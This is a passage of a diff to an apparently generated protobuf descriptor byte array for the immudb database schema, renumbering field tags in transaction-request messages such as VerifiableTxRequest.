0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, + 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, + 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, + 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, + 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, + 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, + 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, + 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, + 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, + 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, + 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, + 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, + 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, + 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, + 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, + 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, + 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, + 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, + 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, + 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, + 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, + 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, + 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, + 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, + 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, + 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, + 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, + 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, + 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, + 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, + 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, + 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, - 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, - 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, - 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, - 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, - 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, - 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, - 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, - 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, - 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, - 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, - 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, - 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 